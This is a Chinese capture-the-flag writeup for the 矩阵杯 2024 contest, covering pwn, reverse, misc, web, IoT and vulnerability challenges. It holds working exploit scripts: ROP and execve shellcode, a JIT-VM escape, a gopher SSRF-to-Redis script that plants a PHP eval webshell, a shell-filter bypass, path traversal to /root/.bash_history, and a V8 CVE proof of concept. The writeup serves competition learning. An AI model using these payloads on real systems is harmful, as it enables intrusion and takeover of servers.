矩阵杯 2024 Writeup

admin 2024年6月7日07:40:13评论80 views字数 34218阅读114分3秒阅读模式

PWN

fshell

通过合理构造,可以控制计算出来的IEEE754单精度浮点数的低三字节,可以设置为 pop 指令码,然后滑栈到ROP链就可以调用 read 系统调用写 shellcode,重新执行 shellcode

from pwn import *import osfrom ctypes import *from ae64 import AE64from Crypto.Util.number import bytes_to_long,bytes_to_long#--------------------setting context---------------------context.clear(arch='i386', os='linux', log_level='debug')# context.clear(arch='amd64', os='linux')bk = lambda :(dbg(),pause())dbg = lambda : gdb.attach(io)mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())inter = lambda:io.interactive()re = lambda data: io.recv(data)sd = lambda data: io.send(data)sl = lambda data: io.sendline(data)rl = lambda data: io.recvuntil(data)sa = lambda data, content: io.sendafter(data,content)sla = lambda data, content: io.sendlineafter(data,content)lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')li = lambda content,data : print('x1b[01;38;5;214m' + content + ' == ' + hex(data) + 'x1b[0m')l64 = lambda    :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))def get_sb():    return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))def debug(c = 0):    if(c): gdb.attach(io, c)      else:  bk()def raddr(a=6):    if(a==6):        return u64(rv(a).ljust(8,b'x00'))    else:        return u64(rl().strip('n').ljust(8,b'x00'))#---------------------------------------------------------libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')filename = "./main"# io = process(filename)# io = remote("valornt.chal.pwni.ng",1337)io = remote("pwn-afd14592d4.challenge.xctf.org.cn", 9999, ssl=True)elf = ELF(filename)#---------------------------------------------------------elf_rop = ROP(elf)# pop_rdi_ret = elf_rop.find_gadget(['pop rdi', 'ret'])[0]
def encrypt(offset, content):    sla("@@: ", str(2))    sla("offset:", str(offset))    sla("encrypt:", content)
def decrypt(offset, content):    sla("@@: ", str(3))    sla("offset:", str(offset))    sa("decrypt:", content)
def login(content):    sla("@@: ", str(1))    sla("username", "user")    sla("password", content)
msg = 'xiaaewzl'password = b''for i in range(len(msg)):    password += chr((ord(msg[i]) - 97 - 9) % 26 + 97).encode()
# debug("b *0x0804A489") # encrypt# debug("b *0x0804A489nb *0x0804A540") # decryptpassword += b'�'sla("@@: ", str(1))sla("username", b"user�".ljust(99, b'a'))sla("password", password.ljust(99, b'b'))
sla("@@: ", str(6))
# debug("b *0x0804A59C") # unknow# debug("b *0x0804A1A4n b *0x0804A209") # unknow# debug("b *0x0804A209") # unknow# debug("b *0x804a1c9") # unknow
# 0x080cc83a : pop eax ; ret# 0x08049022 : pop ebx ; ret# 0x08087d7e : pop eax ; call edi# 0x080D3D9D : sh# ==============set payload==================sh = 0x080D3D9Dpop_eax = 0x080cc83apop_ebx = 0x08049022syscall = 0x0807E25Fpayload = p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(sh) + p32(syscall)pay = p32(0)*2 + p32(0x807EC96) + p32(0x8103ff4) + p32(0x804A1FD)# pay = p32(0)*2 + p32(0x807D6B9) + p32(0x8103ff4) + p32(0x804A1FD)
pay = pay.ljust(20, b'a')decrypt(0x1, pay)# ===========================================# sl(str(0x501362b2)) #0x8105300    pop    edifor i in range(3):    # sl(str(0x3db1b0e5)) #    pop3    sl(str(0x3db1b12c)) #    pop3    # sl(str(0x58848409)) #    pop3for i in range(5):    sl(str(0x3db1b17c)) #    pop3
# sl(str(0x58bde409)) #    pop1 ret# sl(str(0x6de48409)) #    pop2 ret# sl(str(0x3cd8d89c)) #    pop2 eax ret # 3cd8d89c ==> 0x4b585858sl(str(0x3dae965c)) #    push2 eax pop ebx ret# sl(str(0x6de24138)) #    pop2 ecx retsl(str(0x3cd9b0e5)) #    pop ecx ebx eax ret# sl(str(0x6dd423b8)) #    inc2 eax ret#========================================sl(str(0x3daa11dc)) #    inc2 eax pop ebx retsl(str(0x3dcef183)) #    pop ebx ret#========================================sl(str(0x500))
shellcode = asm("""        pop eax        push 0x68        push 0x732f2f2f        push 0x6e69622f        mov ebx, esp        /* push argument array ['shx00'] */        /* push 'shx00x00' */        push 0x1010101        xor dword ptr [esp], 0x1016972        xor ecx, ecx        push ecx /* null terminate */        push 4        pop ecx        add ecx, esp        push ecx /* 'shx00' */        mov ecx, esp        xor edx, edx        /* call execve() */        push 11 /* 0xb */        pop eax        int 0x80""")
# debug("b *0x0804A209") # unknowsl(shellcode)inter()
# eax == 3
# push rax 0x50# push rax# pop edx 0x5a# pop ecx 0x59# pop eax 0x58# pop ebx 0x5b# inc eax 0x40# sys_read = 0x0807EC92

unsafevm

from pwn import *
context.log_level = "debug"context.arch = "amd64"
def gen_func_entry(hash, addr, size, callCount):    return p16(hash) + p64(addr) + p8(size) + p8(callCount)
def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):    buf = b"NEWELF" + p16(entry) + p32(0x46544358) + p16(bss) + p8(no_funcs)    for func_entry in entry_list:        buf += func_entry    buf = buf.ljust(0x1000, b"x00")    buf += code_data    return buf
############################## Hack Function ##############################hack_func_code = b""# control balanceStack vector when JITgen and make it don't crash the key heap metadata...for _ in range(0xf):    hack_func_code += p8(0xb5) + p8(0)                  # push reg[0]for _ in range(0xf):    hack_func_code += p8(0xb6) + p8(0)                  # pop reg[0]hack_func_code += p8(0xb6) + p8(0)                      # pop reg[0]for _ in range(8):    hack_func_code += p8(0xb6) + p8(2)                  # pop reg[2]hack_func_code += p8(0xb9) + p8(1) + p32(3)             # mov reg[1], 3 # modify retaddr to retaddr+3hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1)      # reg[0] = reg[0] + reg[1]hack_func_code += p8(0xb5) + p8(0)                      # push reg[0]hack_func_code += p8(0xbb)                              # rethack_func_hash = 0x1111hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)##########################################################################

############################## JIT Function ##############################jit_func_code = b""# prepare enough space for hack_func() to hack balanceStack vectorfor _ in range(8):    jit_func_code += p8(0xb5) + p8(0)                                       # push reg[0]jit_func_code += p8(0xba) + p16(hack_func_hash)                             # call hack_func# this will ret in a shifted positiontmp = p8(0xff) + p8(0xb9) + p8(0) + b"xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"xaaxbb")+value8(nop)+value8(nop)+value8(nop))jit_func_code += p8(0xb9) + p8(0) + tmp                                     # mov reg[0], value32(tmp[:4]); nop; nop; nop
# JOP shellcodejit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"xebx02"             # set rbx to 0jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"xebx02"## openjit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"xebx02"   # clear rcxjit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"xebx02"   # clear rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rsi;")+b"xebx02"   # load &"flag.txt" into rsi#jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"xebx02"   # clear rsijit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"xebx02"   # clear rdxjit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"xebx02"   # clear raxjit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0xff;")+b"xebx02" jit_func_code += p8(0xb9) + p8(0) + asm("inc eax;")+b"xebx02" jit_func_code += p8(0xb9) + p8(0) + asm("inc eax;")+b"xebx02" jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"xebx02"             # open("flag.txt", 0)## readjit_func_code += p8(0xb9) + p8(0) + asm("push rsi; pop rsi;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"xebx02"   # clear rcxjit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"xebx02"   # clear raxjit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"xebx02" jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"xebx02"             # read(rax, bss, 0xff)## writejit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"xebx02"   # clear rcxjit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"xebx02"         # stdoutjit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"xebx02"   # clear rcxjit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"xebx02"jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"xebx02"   # clear raxjit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"xebx02" jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"xebx02"             # write(1, bss, 0xff)jit_func_code += p8(0xb9) + p8(0) + b"x90x90xebx02"jit_func_code += p8(0xbb) # retjit_func_hash = 0x2222jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)########################################################################

############################ Dummy Function ############################dummy_func_code = b""for _ in range(0xa):    dummy_func_code += p8(0xba) + p16(jit_func_hash)                # call jit_funcdummy_func_code += p8(0xba) + p16(jit_func_hash)                    # call jit_funcdummy_func_code += p8(0xbb) # retdummy_func_hash = 0x3333dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)########################################################################

############################ Entry Code ################################entry_code = b""# store "flag.txt" string into bssentry_code += p8(0xb9) + p8(1) + b"/hom"                # mov reg[1], u32("flag")entry_code += p8(0xb8) + p8(1) + p32(0)entry_code += p8(0xb9) + p8(1) + b"e/ct"                # mov reg[1], u32(".txt")entry_code += p8(0xb8) + p8(1) + p32(0x4)entry_code += p8(0xb9) + p8(1) + b"f/fl"    # mov reg[1], u32("x00x00x00x00")entry_code += p8(0xb8) + p8(1) + p32(0x8)entry_code += p8(0xb9) + p8(1) + b"agx00x00"    # mov reg[1], u32("x00x00x00x00")entry_code += p8(0xb8) + p8(1) + p32(0x8+4)entry_code += p8(0xba) + p16(dummy_func_hash)           # call dummy_func_codeentry_code += p8(0xbf) # hlt########################################################################

############################ Pack Bin Data #############################code_data = entry_code.ljust(0x1000, b"x00")           # 0x1000code_data += dummy_func_code.ljust(0x1000, b"x00")     # 0x2000code_data += jit_func_code.ljust(0x1000, b"x00")       # 0x3000code_data += hack_func_code.ljust(0x1000, b"x00")      # 0x4000
exec_entry = 0x1000bss_start = 0xc000func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)########################################################################
#p=process("./pwn")p=remote("pwn-8bc86c67be.challenge.xctf.org.cn",9999,ssl=True)p.sendlineafter(b'> ',bin_data+b"x0a")#gdb.attach(p,"b mprotectnb*$rebase(0x0000000000003771)")#pause()p.sendlineafter(b'> ', b'y')
p.interactive()

Reverse

packpy

import randomrandom.seed(35)key=list(range(256))random.shuffle(key)enc=b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'
def find_idx(value,key):    for i in range(256):        if key[i]==value:            return i
for i in range(len(enc)):    temp=enc[i]^95    v=find_idx(temp,key)    print(chr(v),end="")

ccc

IDA手撕cython,根据字符串定位地址(好像都是第二个)

矩阵杯 2024 Writeup

此处就是函数的运行流程

矩阵杯 2024 Writeup

v7的函数进去之后可以大致分析出是什么函数,这里注意到最后一块,v5 >> a3,所以这里是执行右移操作

矩阵杯 2024 Writeup

同理v11所在函数是and

矩阵杯 2024 Writeup

SetItem应该是a3[v14] = v8

矩阵杯 2024 Writeup

Challenge.i2b这一块就由这三个组成,可以很容易得分析出i2b的运行逻辑

def i2b(a, b, c):    v7 = a >> 24    v11 = v7 & 0xff    b[c] = v11
    v13 = a >> 16    v8 = v13 & 0xff    v14 = c + 1    b[v14] = v8
    v15 = a >> 8    v11 = v15 & 0xff    v16 = c + 2    b[v16] = v11
    v11 = a & 0xff    v17 = c + 3    b[v17] = v11

基本上所有的函数都可以这样子硬撕,看到Challenge.checkFlag

这里是设定一个数组

矩阵杯 2024 Writeup

可以通过交叉引用取得数组里的值,很显然这里就是v10=78

矩阵杯 2024 Writeup

通过这里获得数组

v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]

此处同理,这里生成了一个长度为52的数组,内容都是0

矩阵杯 2024 Writeup

一个生成了2个52长度的和一个1024长度的

下面还生成了一个新的数组

矩阵杯 2024 Writeup
v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]

下面这种是调用函数

矩阵杯 2024 Writeup

可以通过交叉引用来获取函数名

矩阵杯 2024 Writeup

下面这一块是调用部分,v197和v201分别是KeyExpend的两个参数

矩阵杯 2024 Writeup

经过分析后,checkFlag函数大致如下:

def checkFlag(input):    v197 = v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]    Item_KnownHash1 = [0 for i in range(52)]    Item_KnownHash2 = [0 for i in range(52)]    Item_KnownHash3 = [0 for i in range(1024)]    v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]    keyExpend(v197, Item_KnownHash1)    for i in range(0, 48, 8):        func3(list(input), i, Item_KnownHash3, i, Item_KnownHash1)    if Item_KnownHash3 == v44:        print("nice")    else: print("error")

那么很显然,func3就是加密部分,keyExpend不需要分析

同上分析func3大致如下:

def func3(input, i, Item_KnownHash3, i2, Item_KnownHash1):    tmp1 = b2i(input, i)    tmp2 = b2i(input, i + 4)    tmp1_high = (tmp1 >> 16) & 0xffff    tmp1_low = tmp1 & 0xffff    tmp2_high = (tmp2 >> 16) & 0xffff    tmp2_low = tmp2 & 0xffff    for i in range(0, 48, 6):        gh1 = func3_a(tmp1_high, Item_KnownHash1[i])        gh2 = (tmp1_low + Item_KnownHash1[i + 1]) & 0xffff        gh3 = (tmp2_low + Item_KnownHash1[i + 2]) & 0xffff        gh4 = func3_a(tmp2_low, Item_KnownHash1[i + 3])        gh5 = func3_a(gh1 ^ gh3, Item_KnownHash1[i + 4])        gh6 = func3_a(((gh2 ^ gh4) + gh5) & 0xffff, Item_KnownHash1[i + 5])        tmp1_low = gh6 ^ gh3        tmp1_high = gh1 ^ gh6        tmp2_low = gh4 ^ (gh5 + gh6)        tmp2_high = (gh5 + gh6) ^ gh2
    tmp1_high = func3_a(tmp1_high, Item_KnownHash1[-4])    tmp2_high += Item_KnownHash1[-3]    tmp1_low += Item_KnownHash1[-2]    tmp2_low = func3_a(tmp2_low, Item_KnownHash1[-1])    gh10 = ((tmp1_high << 16) & 0xffff) | (tmp2_high & 0xffff)    # print(gh10)    i2b(gh10, Item_KnownHash3, i2)    gh11 = ((tmp1_low << 16) & 0xffff) | (tmp2_low & 0xffff)    # print(gh11)    i2b(gh11, Item_KnownHash3, i2 + 4)

此处调用了func3_a,函数内容大致如下:

def func3_a(a, b):    tmp = a * b    v6 = v17 = tmp & 0xffff    v18 = tmp >> 16    v7 = v19 = v18 & 0xffff    if v19 == v17:        v22 = v6 - v7 + 1    else:        v22 = v6 - v7    return v22

从func3中可知,参数b是固定值,我们可以通过爆破获取输入a:

def func3_a_de(enc, b):    a = 0    while True:        if enc == Challenge.func3_a(a, b) & 0xffff:            return a        a += 1

然后func3的逆向算法如下:

def func3_de(enc, i, flag, i2, Item_KnownHash1):    gh10 = Challenge.b2i(enc, i)    gh11 = Challenge.b2i(enc, i + 4)    tmp1_high = (gh10 >> 16) & 0xffff    tmp2_high = gh10 & 0xffff    tmp1_low = (gh11 >> 16) & 0xffff    tmp2_low = gh11 & 0xffff    tmp1_high = func3_a_de(tmp1_high, Item_KnownHash1[-4])    tmp2_high = (tmp2_high - Item_KnownHash1[-3] & 0xffff)    tmp1_low = (tmp1_low - Item_KnownHash1[-2] & 0xffff)    tmp2_low = func3_a_de(tmp2_low, Item_KnownHash1[-1])    # print(tmp1_high, tmp2_high, tmp1_low, tmp2_low)    k = len(Item_KnownHash1)    k -= 4    for j in range(0, 48, 6)[::-1]:        gh1_xor_gh3 = tmp1_high ^ tmp1_low        gh2_xor_gh4 = tmp2_high ^ tmp2_low        gh5 = Challenge.func3_a(gh1_xor_gh3 & 0xffff, Item_KnownHash1[j+4])& 0xffff        gh6 = Challenge.func3_a((gh2_xor_gh4+gh5) & 0xffff, Item_KnownHash1[j+5])& 0xffff        gh3 = tmp1_low ^ gh6        gh1 = tmp1_high ^ gh6        gh4 = tmp2_low ^ (gh5 + gh6) & 0xffff        gh2 = tmp2_high ^ (gh5 + gh6) & 0xffff        tmp1_high = func3_a_de(gh1, Item_KnownHash1[j])        tmp1_low = (gh2 - Item_KnownHash1[j+1]) & 0xffff        tmp2_high = (gh3 - Item_KnownHash1[j+2]) & 0xffff        tmp2_low = func3_a_de(gh4, Item_KnownHash1[j+3])    tmp1 = tmp1_low | tmp1_high << 16    tmp2 = tmp2_low | tmp2_high << 16    print(tmp1, tmp2)    Challenge.i2b(tmp1, flag, i2)    Challenge.i2b(tmp2, flag, i2+4)

完整exp:

import Challenge
def func3_a_de(enc, b):    a = 0    while True:        if enc == Challenge.func3_a(a, b) & 0xffff:            return a        a += 1
v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164,       96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]Item_KnownHash1 = [0 for i in range(52)]Challenge.keyExpend(v7, Item_KnownHash1)flag = [0 for i in range(48)]
def func3_de(enc, i, flag, i2, Item_KnownHash1):    gh10 = Challenge.b2i(enc, i)    gh11 = Challenge.b2i(enc, i + 4)    tmp1_high = (gh10 >> 16) & 0xffff    tmp2_high = gh10 & 0xffff    tmp1_low = (gh11 >> 16) & 0xffff    tmp2_low = gh11 & 0xffff    tmp1_high = func3_a_de(tmp1_high, Item_KnownHash1[-4])    tmp2_high = (tmp2_high - Item_KnownHash1[-3] & 0xffff)    tmp1_low = (tmp1_low - Item_KnownHash1[-2] & 0xffff)    tmp2_low = func3_a_de(tmp2_low, Item_KnownHash1[-1])    # print(tmp1_high, tmp2_high, tmp1_low, tmp2_low)    k = len(Item_KnownHash1)    k -= 4    for j in range(0, 48, 6)[::-1]:        gh1_xor_gh3 = tmp1_high ^ tmp1_low        gh2_xor_gh4 = tmp2_high ^ tmp2_low        gh5 = Challenge.func3_a(gh1_xor_gh3 & 0xffff, Item_KnownHash1[j+4])& 0xffff        gh6 = Challenge.func3_a((gh2_xor_gh4+gh5) & 0xffff, Item_KnownHash1[j+5])& 0xffff        gh3 = tmp1_low ^ gh6        gh1 = tmp1_high ^ gh6        gh4 = tmp2_low ^ (gh5 + gh6) & 0xffff        gh2 = tmp2_high ^ (gh5 + gh6) & 0xffff        tmp1_high = func3_a_de(gh1, Item_KnownHash1[j])        tmp1_low = (gh2 - Item_KnownHash1[j+1]) & 0xffff        tmp2_high = (gh3 - Item_KnownHash1[j+2]) & 0xffff        tmp2_low = func3_a_de(gh4, Item_KnownHash1[j+3])    tmp1 = tmp1_low | tmp1_high << 16    tmp2 = tmp2_low | tmp2_high << 16    # print(tmp1, tmp2)    Challenge.i2b(tmp1, flag, i2)    Challenge.i2b(tmp2, flag, i2+4)
for i in range(0, 48, 8):    func3_de(v44, i, flag, i, Item_KnownHash1)for i in range(len(flag)):    print(chr(flag[i]), end="")

矩阵杯 2024 Writeup

flag{c620aafa-a72b-d11f-2a9d-334d595bb4a7}

MISC

两级反转

from PIL import Image
''' # 二维码转二进制img = Image.open(r"C:UsersHKDesktop8E2A248B-0EE8-42b2-B19B-C6A9CE0D47F8.png")block = 29bin_txt = ''
for y in range(block):    for x in range(block):        pixel = img.getpixel((x * 25 + 10, y * 25 + 10))
        if pixel== (0, 0, 0, 255):            bin_txt += '1'        else:            bin_txt += '0'
    bin_txt += 'n'
print(bin_txt)'''# 二进制反转lines = open(r"C:UsersHKDesktopblock.txt").readlines()out = ''
for i in range(len(lines)):    if i % 2 != 0:
        for word in lines[i]:            if word == '0':                out += '1'            elif word == '1':                out += '0'            else:                out += word    else:        out += lines[i]
print(out)

二进制转二维码

矩阵杯 2024 Writeup

扫码拿到flag

SPY2.0

矩阵杯 2024 Writeup

binwalk可以读到图片,但是要自己手动提取

矩阵杯 2024 Writeup
矩阵杯 2024 Writeup

WEB

esayweb

访问flag.php得到 然后在访问加密的代码.zip得到源码

<?phpif (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) {    echo 'welcome,admin';    $_SESSION['admin'] = True;} else {    die('flag?');}?>
<?php if ($_SESSION['admin'])  {   if(isset($_POST['code']))   {       if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)           echo 'no!';       elseif(preg_match("/[@#%^&*()|/?><']/",$_POST['code'])==1)           echo 'no!';    else        system($_POST['code']);   } } ?>

第一步id=1 9就能绕过 第二步l${b}s 可以绕过查看当前目录

矩阵杯 2024 Writeup
矩阵杯 2024 Writeup

访问7l8g得到lflag

tantantan

探测发现aaabbb.php的data参数存在ssrf漏洞 然后利用ssrf打redis 我这里是写马 脚本网上一大堆

import urllib
protocol = "gopher://"ip = "127.0.0.1"port = "6379"shell = "nn<?php @eval($_POST[0]);?>nn"filename = "shell1.php"path = "/var/www/html"passwd = ""cmd = ["flushall",       "set 1 {}".format(shell.replace(" ", "${IFS}")),       "config set dir {}".format(path),       "config set dbfilename {}".format(filename),       "save"       ]if passwd:    cmd.insert(0, "AUTH {}".format(passwd))payload = protocol + ip + ":" + port + "/_"

def redis_format(arr):    CRLF = "rn"    redis_arr = arr.split(" ")    cmd = ""    cmd += "*" + str(len(redis_arr))    for x in redis_arr:        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")    cmd += CRLF    return cmd

if __name__ == "__main__":    for x in cmd:        payload += urllib.quote(redis_format(x))    print payload

传参注意编码问题

矩阵杯 2024 Writeup

访问shell1.php

矩阵杯 2024 Writeup

where

http://web-1d2e51ca4f.challenge.xctf.org.cn/look?file=/root/.bash_history

矩阵杯 2024 Writeup

IOT

special

使用binwalk分解固件

binwalk -Me firmware.bin

将其中C图标和Web图标的文件提取出来

矩阵杯 2024 Writeup
矩阵杯 2024 Writeup

对源代码进行审计,发现若干个网站路径,并且题干中提示怀疑其中存在漏洞,因此尝试Google搜索每一个路径

发现CVE-2019-19825与此其中一个路径高度吻合

矩阵杯 2024 Writeup
矩阵杯 2024 Writeup
矩阵杯 2024 Writeup

查阅相关资料发现CVE-2019-19822至CVE-2019-19825都为同型号漏洞

复现博客:https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html

exp地址:https://sploit.tech/files/CVE-2019-19822-19825-exploit.sh

本题我们只需要解密管理员用户密码,因此只需要保存decode.c即可

/** * Based on apmib.h from: * Copyright (C) 2006-2009 OpenWrt.org * Original author - David Hsu <[email protected]> */
#include <sys/mman.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <endian.h>
#define N     4096  /* size of ring buffer */#define F       18  /* upper limit for match_length */#define THRESHOLD  2   /* encode string into position and length if match_length is greater than this */static unsigned char *text_buf;  /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */#define LZSS_TYPE  unsigned short#define NIL      N  /* index for root of binary search trees */struct lzss_buffer {  unsigned char  text_buf[N + F - 1];  LZSS_TYPE  lson[N + 1];  LZSS_TYPE  rson[N + 257];  LZSS_TYPE  dad[N + 1];};static LZSS_TYPE    match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */static LZSS_TYPE    *lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */

typedef struct compress_mib_header {  unsigned char signature[6];  unsigned short compRate;  unsigned int compLen;} COMPRESS_MIB_HEADER_T;
#define handle_error(msg)            do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput)  /* Just the reverse of Encode(). */{    int  i, j, k, r, c;  unsigned int  flags;  unsigned int ulPos=0;  unsigned int ulExpLen=0;
  if ((text_buf = malloc( N + F - 1 )) == 0) {    //fprintf(stderr, "fail to get mem %s:%dn", __FUNCTION__, __LINE__);    return 0;  }    for (i = 0; i < N - F; i++)    text_buf[i] = ' ';
          r = N - F;  flags = 0;  while(1) {    if (((flags >>= 1) & 256) == 0) {      c = ucInput[ulPos++];      if (ulPos>inLen)        break;      flags = c | 0xff00;    /* uses higher byte cleverly */    }              /* to count eight */    if (flags & 1) {      c = ucInput[ulPos++];      if ( ulPos > inLen )        break;      ucOutput[ulExpLen++] = c;      text_buf[r++] = c;      r &= (N - 1);    } else {      i = ucInput[ulPos++];      if ( ulPos > inLen ) break;      j = ucInput[ulPos++];      if ( ulPos > inLen ) break;            i |= ((j & 0xf0) << 4);      j = (j & 0x0f) + THRESHOLD;      for (k = 0; k <= j; k++) {        c = text_buf[(i + k) & (N - 1)];        ucOutput[ulExpLen++] = c;        text_buf[r++] = c;        r &= (N - 1);      }    }  }
  free(text_buf);  return ulExpLen;
}

void main(int argc, char**argv) {           char *addr;           int fd;           struct stat sb;           off_t offset, pa_offset;           size_t length;           ssize_t s;           char* filename = "config.dat";
           COMPRESS_MIB_HEADER_T * header;
           if (argc>2) {             printf("Wrong number of parameters!");             exit(1);           }           if (argc==2) {             filename=argv[1];           }                      fd = open(filename, O_RDONLY);           if (fd == -1)               handle_error("open");
           if (fstat(fd, &sb) == -1)           /* To obtain file size */               handle_error("fstat");

           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
           header = (COMPRESS_MIB_HEADER_T*)addr;
                      printf("%un", be16toh(header->compRate));           printf("%un", be32toh(header->compLen));           printf("%un", sb.st_size);           unsigned char *expFile=NULL;           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));

                      unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
           printf("%un", expandLen);           printf("%.*sn",100, expFile);           fwrite(expFile, 1, expandLen, stdout);           //flash_read_raw_mib("config.dat");}

随后gcc编译即可

gcc -o decode decode.c

根据之前审计时信息可以猜到,文件内容没有损坏,只是文件目录、文件名损坏,因此我们尝试遍历每个文件,并解密

#!/bin/bash# 设置文件夹路径DIRECTORY="./_firmware.bin.extracted"
# 遍历目录中的所有文件for file in "$DIRECTORY"/*do    echo "Processing $file..."    # 对每个文件执行你的命令    # 解码,转为十六进制,删除换行,搜索特定模式,处理输出    ./decode "$file" | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -pdone

运行sh文件即可,发现文件为2F3B94,解密后密码为H3r0s1mpl3

矩阵杯 2024 Writeup

验证一下

# 设置文件路径FILE_PATH="./_firmware.bin.extracted/2F3B94"DECODE_CMD="./decode"  # 设置decode命令的路径
# 确保decode命令存在并且可执行if [ ! -x "$DECODE_CMD" ]; then    echo "Decode command not found or not executable: $DECODE_CMD"    exit 1fi
# 处理文件以提取密码P=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
# 处理文件以提取用户名U=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d 'n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
# 打印用户名和密码echo "User: $U"echo "Password: $P"
矩阵杯 2024 Writeup

确定管理员密码为:H3r0s1mpl3

md5加密后即可得到flag

flag{0e327444a0ef9a1819c341f396d97b18}

漏洞挖掘赛

科学与技术

CVE-2024-3159,目前该漏洞报告并没有公开,但是仍然能够找到相关 poc:

https://docs.google.com/document/d/1ke0S2NrhPIo7VX2zpEKyMVURVOk-v22mNvAovlL6EeM/edit#heading=h.ksz9twl4bvwr

const object1 = {};object1.a = 1;
const object2 = {};object2.a = 1;object2.b = 1;
const object3 = {};object3.a = 1;object3.b = 1;object3.c = 1;Object.defineProperty(object3, "d", {writable: false, enumerable: true, value: 1});
// create a split branch in map transition treeconst object4 = {};object4.a = 1;object4.b = 1;object4.c = 1;object4.d = 1;
for (let key in object3) { }
delete object3.d;
let escape;function trigger(callback) {  for (let key in object2) {    callback();    escape = object2[key];  }}
